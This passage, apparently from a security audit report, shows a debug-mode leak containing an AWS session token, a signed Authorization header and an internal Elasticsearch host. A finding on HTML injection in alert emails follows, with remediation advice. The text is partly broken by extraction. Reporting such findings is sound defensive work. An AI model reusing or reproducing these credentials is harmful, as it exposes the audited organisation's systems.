:	"IQ0Jb3Jp22LUX2VjECMaCXVzLWVhc3QtMSJIMEYCIQDTbAUCIIFRYDHqVM7Ve6fPRnSZBWF7Exp KoZLADVDSAIhAPalPSSUP/DNxbZegwmk7gqYqVD/PCNjVvjbX1+wHYnUKusDCBwQARoMMTIzNTQxN DEZNjMwIgxMhxIc3H5tw68WC70qyAMZon409gYtK9soytBcvKCRbH5xikj5bVaFfw6Csv+DQQjK m5wfCzoGmD3VK8yMlQl/2frdXB7rH2qA4yHrmgZGQl7ChMQvGWpsz7Bgln5e5l7GmNY4RFmLBPgR8 g4PiSTcb/WzfjejA7iq54iENkUnzxohvn5l2EiP402yLAI6fm/ArnxUMM4/thr9V/v0REaWeZay0x 5nuYj8dP+3gLeRFRknsgd9UQWV1CKZh8l9WuhSNsULVzp+iHttZUOya3yNKZQnao4cbx7BgU48UpU Wq+cmONfwIMRLHzMu/ZA5f1o0HRZXebsdfNfGUr6fckzP+bZTNnl5nNN3GIrQlFluRi71rq8Hiyw 4hjY0a1j/h/JXHDr+ty0xa444e5KGiTv2yUx40eEedopc25KH964DH0vYAZfH5ncJTCUZkri9JnJJ qiNryJGSfL8PFvxiSv/mbj0w2HqDNyv/YR453LzeZK110GmvhKzt68+rTIFzo0AcZ5HYUZASVMFLd Qc6q2tbtx2JzZf3jSNFK6WfEX1qHAVrYqvQfj/2vD50IFKKxc6BJ3g1rEYuK1bnXkvALSG9Nc+AW bIMU21cm/CMHQRbg2t/FL8wkriIjgY6pAFWHHCpDmoaD00093q0WZ51k8JE3YgJyJt0+XQQCbn/7 Fd1+b1fTeashpv5G5gMUBsbPXTdvs4vi0z00Xqu8Db1fFeFAYIRYeISQ3Mxczbyc66xTZccsLExSX eNFH
	rC2dXRLe913CTPZv2RUbAv==",
	"X-Amz-Date":"20211221T210210Z",
	"Authorization": "AWS4-HMAC-SHA256 Credential=ASIARZQ5EL370NUA3IXA/20211221/us-east-1/es/aws4_ request, SignedHeaders=content-length;content-type;host;x-amz-date;x-amz-secu rity-token, Signature=53b8a3d17f039b17dc3d6cae8f949048c8e2a5022130c7905d40f38 ff/aghd/zs
	"User-Agent": "axios/0.21.4"
	},
	"baseURL":
	"https://vpc-prod-torta-alerts-e4dk/rvtraouyc/uvnygan5hii.us-east-i.es.amazonaw s.com"
	"transformRequest":[
	null
],
	"transformResponse":[
000	

Recommendations

Disable Debug mode on production environments.



#08 - HTML Injection in alerts emails

Severity: Low

Description

When creating new Agents, in the Findings values, HTML is allowed, therefore HTML is rendered when receiving email notifications.

An attacker could reformat e-mail notifications to redirect them to malicious sites or persuade users to perform malicious actions or to be victim of phishing attacks

Evidence

Email with rendered HTML:



Agent code submitted with embedded HTML code:





Proper input sanitization should be performed before processing them in the backend and rendered in emails or frontend.